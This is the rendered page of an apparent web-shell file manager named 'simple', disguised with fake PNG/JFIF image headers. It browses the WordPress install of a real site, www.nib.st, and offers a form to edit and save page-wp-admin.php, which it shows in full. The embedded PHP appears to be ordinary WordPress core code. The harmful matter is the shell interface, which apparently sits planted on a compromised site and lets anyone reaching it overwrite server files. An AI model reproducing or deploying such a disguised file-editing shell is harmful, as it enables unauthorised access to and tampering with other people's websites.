�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fbuild%2F'>build</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fbuild%2Fpages%2F'>pages</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fbuild%2Fpages%2Foptions-connectors%2F'>options-connectors</a>/</p><hr><h3>✏️ Editing: page-wp-admin.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Page: options-connectors (wp-admin integrated)
 * Auto-generated by build process.
 * Do not edit this file manually.
 *
 * This version integrates with the standard WordPress admin interface,
 * keeping the wp-admin sidebar and scripts/styles intact.
 *
 * @package wp
 */

// Global storage for options-connectors routes and menu items
global $wp_options_connectors_wp_admin_routes, $wp_options_connectors_wp_admin_menu_items;
$wp_options_connectors_wp_admin_routes     = array();
$wp_options_connectors_wp_admin_menu_items = array();

/**
 * Register a route for the options-connectors-wp-admin page.
 *
 * @param string      $path           Route path (e.g., &#039;/types/$type/edit/$id&#039;).
 * @param string|null $content_module Script module ID for content (stage/inspector).
 * @param string|null $route_module   Script module ID for route lifecycle hooks.
 */
function wp_register_options_connectors_wp_admin_route( $path, $content_module = null, $route_module = null ) {
	global $wp_options_connectors_wp_admin_routes;

	$route = array( &#039;path&#039; =&gt; $path );
	if ( ! empty( $content_module ) ) {
		$route[&#039;content_module&#039;] = $content_module;
	}
	if ( ! empty( $route_module ) ) {
		$route[&#039;route_module&#039;] = $route_module;
	}

	$wp_options_connectors_wp_admin_routes[] = $route;
}

/**
 * Register a menu item for the options-connectors-wp-admin page.
 * Note: Menu items are registered but not displayed in single-page mode.
 *
 * @param string $id        Menu item ID.
 * @param string $label     Display label.
 * @param string $to        Route path to navigate to.
 * @param string $parent_id Optional. Parent menu item ID.
 */
function wp_register_options_connectors_wp_admin_menu_item( $id, $label, $to, $parent_id = &#039;&#039; ) {
	global $wp_options_connectors_wp_admin_menu_items;

	$menu_item = array(
		&#039;id&#039;    =&gt; $id,
		&#039;label&#039; =&gt; $label,
		&#039;to&#039;    =&gt; $to,
	);

	if ( ! empty( $parent_id ) ) {
		$menu_item[&#039;parent&#039;] = $parent_id;
	}

	$wp_options_connectors_wp_admin_menu_items[] = $menu_item;
}

/**
 * Get all registered routes for the options-connectors-wp-admin page.
 *
 * @return array Array of route objects.
 */
function wp_get_options_connectors_wp_admin_routes() {
	global $wp_options_connectors_wp_admin_routes;
	return $wp_options_connectors_wp_admin_routes ?? array();
}

/**
 * Get all registered menu items for the options-connectors-wp-admin page.
 *
 * @return array Array of menu item objects.
 */
function wp_get_options_connectors_wp_admin_menu_items() {
	global $wp_options_connectors_wp_admin_menu_items;
	return $wp_options_connectors_wp_admin_menu_items ?? array();
}

/**
 * Preload REST API data for the options-connectors-wp-admin page.
 * Automatically called during page rendering.
 */
function wp_options_connectors_wp_admin_preload_data() {
	// Define paths to preload - same for all pages
	// Please also change packages/core-data/src/entities.js when changing this.
	$preload_paths = array(
		&#039;/?_fields=description,gmt_offset,home,image_sizes,image_size_threshold,image_output_formats,jpeg_interlaced,png_interlaced,gif_interlaced,name,site_icon,site_icon_url,site_logo,timezone_string,url,page_for_posts,page_on_front,show_on_front&#039;,
		array( &#039;/wp/v2/settings&#039;, &#039;OPTIONS&#039; ),
	);

	// Use rest_preload_api_request to gather the preloaded data
	$preload_data = array_reduce(
		$preload_paths,
		&#039;rest_preload_api_request&#039;,
		array()
	);

	// Register the preloading middleware with wp-api-fetch
	wp_add_inline_script(
		&#039;wp-api-fetch&#039;,
		sprintf(
			&#039;wp.apiFetch.use( wp.apiFetch.createPreloadingMiddleware( %s ) );&#039;,
			wp_json_encode( $preload_data )
		),
		&#039;after&#039;
	);
}

/**
 * Enqueue scripts and styles for the options-connectors-wp-admin page.
 * Hooked to admin_enqueue_scripts.
 *
 * @param string $hook_suffix The current admin page.
 */
function wp_options_connectors_wp_admin_enqueue_scripts( $hook_suffix ) {
	// Check all possible ways this page can be accessed:
	// 1. Menu page via admin.php?page=options-connectors-wp-admin (plugin)
	// 2. Direct file via options-connectors.php (Core) - screen ID will be &#039;options-connectors&#039;
	$current_screen = get_current_screen();
	$is_our_page = (
		( isset( $_GET[&#039;page&#039;] ) &amp;&amp; &#039;options-connectors-wp-admin&#039; === $_GET[&#039;page&#039;] ) || // phpcs:ignore WordPress.Security.NonceVerification.Recommended
		( $current_screen &amp;&amp; &#039;options-connectors&#039; === $current_screen-&gt;id )
	);

	if ( ! $is_our_page ) {
		return;
	}

	// Load build constants
	$build_constants = require __DIR__ . &#039;/../../constants.php&#039;;

	// Fire init action for extensions to register routes and menu items
	do_action( &#039;options-connectors-wp-admin_init&#039; );

	// Preload REST API data
	wp_options_connectors_wp_admin_preload_data();

	// Get all registered routes
	$routes = wp_get_options_connectors_wp_admin_routes();

	// Get boot module asset file for dependencies
	$asset_file = ABSPATH . WPINC . &#039;/js/dist/script-modules/boot/index.min.asset.php&#039;;
	if ( file_exists( $asset_file ) ) {
		$asset = require $asset_file;

		// This script serves two purposes:
		// 1. It ensures all the globals that are made available to the modules are loaded.
		// 2. It initializes the boot module as an inline script.
		wp_register_script( &#039;options-connectors-wp-admin-prerequisites&#039;, &#039;&#039;, $asset[&#039;dependencies&#039;], $asset[&#039;version&#039;], true );

		/*
		 * Add inline script to initialize the app using initSinglePage (no menuItems).
		 * The dynamic import is deferred until DOMContentLoaded so that all classic
		 * script dependencies of @wordpress/boot (wp-private-apis, wp-components,
		 * wp-theme, etc.) have finished parsing and executing before the boot module
		 * evaluates. Otherwise, a modulepreloaded @wordpress/boot can win the race
		 * against the classic-script-printing pass on fast CDN-fronted hosts in
		 * Chrome, evaluating before wp.theme.privateApis is defined and throwing
		 * &quot;Cannot unlock an undefined object&quot;. See &lt;https://core.trac.wordpress.org/ticket/65103&gt;.
		 */
		$init_js_function = &lt;&lt;&lt;&#039;JS&#039;
		( mountId, routes ) =&gt; {
			const run = async () =&gt; {
				const mod = await import( &quot;@wordpress/boot&quot; );
				mod.initSinglePage( { mountId, routes } );
			};
			if ( document.readyState === &quot;loading&quot; ) {
				document.addEventListener( &quot;DOMContentLoaded&quot;, run );
			} else {
				run();
			}
		}
		JS;
		wp_add_inline_script(
			&#039;options-connectors-wp-admin-prerequisites&#039;,
			sprintf(
				&#039;( %s )( %s, %s );&#039;,
				$init_js_function,
				wp_json_encode( &#039;options-connectors-wp-admin-app&#039;, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $routes, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);

		// Register prerequisites style by filtering script dependencies to find registered styles
		$style_dependencies = array_filter(
			$asset[&#039;dependencies&#039;],
			function ( $handle ) {
				return wp_style_is( $handle, &#039;registered&#039; );
			}
		);
		wp_register_style( &#039;options-connectors-wp-admin-prerequisites&#039;, false, $style_dependencies, $asset[&#039;version&#039;] );

		// Build dependencies for options-connectors-wp-admin module
		$boot_dependencies = array(
			array(
				&#039;import&#039; =&gt; &#039;static&#039;,
				&#039;id&#039;     =&gt; &#039;@wordpress/boot&#039;,
			),
		);

		// Add all registered routes as dependencies
		foreach ( $routes as $route ) {
			if ( isset( $route[&#039;route_module&#039;] ) ) {
				$boot_dependencies[] = array(
					&#039;import&#039; =&gt; &#039;static&#039;,
					&#039;id&#039;     =&gt; $route[&#039;route_module&#039;],
				);
			}
			if ( isset( $route[&#039;content_module&#039;] ) ) {
				$boot_dependencies[] = array(
					&#039;import&#039; =&gt; &#039;dynamic&#039;,
					&#039;id&#039;     =&gt; $route[&#039;content_module&#039;],
				);
			}
		}

		// Dummy script module to ensure dependencies are loaded
		wp_register_script_module(
			&#039;options-connectors-wp-admin&#039;,
			$build_constants[&#039;build_url&#039;] . &#039;pages/options-connectors/loader.js&#039;,
			$boot_dependencies
		);

		// Enqueue the boot scripts and styles
		wp_enqueue_script( &#039;options-connectors-wp-admin-prerequisites&#039; );
		wp_enqueue_script_module( &#039;options-connectors-wp-admin&#039; );
		wp_enqueue_style( &#039;options-connectors-wp-admin-prerequisites&#039; );
	}
}

/**
 * Render the options-connectors-wp-admin page.
 * Call this function from add_menu_page or add_submenu_page.
 * This renders within the normal WordPress admin interface.
 */
function wp_options_connectors_wp_admin_render_page() {
	?&gt;
	&lt;style&gt;
		/* Critical styles to prevent layout shifts - inlined for immediate application */

		/* Background colors */
		#wpwrap {
			background: var(--wpds-color-fg-content-neutral, #1e1e1e);
			overflow-y: auto;
		}
		body {
			background: #fff;
		}

		/* Reset wp-admin padding */
		#wpcontent {
			padding-inline-start: 0;
		}
		#wpbody-content {
			padding-bottom: 0;
		}

		/* Hide legacy admin elements */
		#wpbody-content &gt; div:not(.boot-layout-container):not(#screen-meta) {
			display: none;
		}
		#wpfooter {
			display: none;
		}

		/* Accessibility regions */
		.a11y-speak-region {
			inset-inline-start: -1px;
			top: -1px;
		}

		/* Admin menu indicators */
		ul#adminmenu a.wp-has-current-submenu::after,
		ul#adminmenu &gt; li.current &gt; a.current::after {
			border-inline-end-color: #fff;
		}

		/* Media frame fix */
		.media-frame select.attachment-filters:last-of-type {
			width: auto;
			max-width: 100%;
		}

		/* Responsive overflow fix for #wpwrap */
		@media (min-width: 782px) {
			#wpwrap {
				overflow-y: initial;
			}
		}
	&lt;/style&gt;
	&lt;div id=&quot;options-connectors-wp-admin-app&quot; class=&quot;boot-layout-container&quot;&gt;&lt;/div&gt;
	&lt;?php
}

// Hook the enqueue function to admin_enqueue_scripts
add_action( &#039;admin_enqueue_scripts&#039;, &#039;wp_options_connectors_wp_admin_enqueue_scripts&#039; );

</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fbuild%2Fpages%2Foptions-connectors'>🔙 Back</a></p>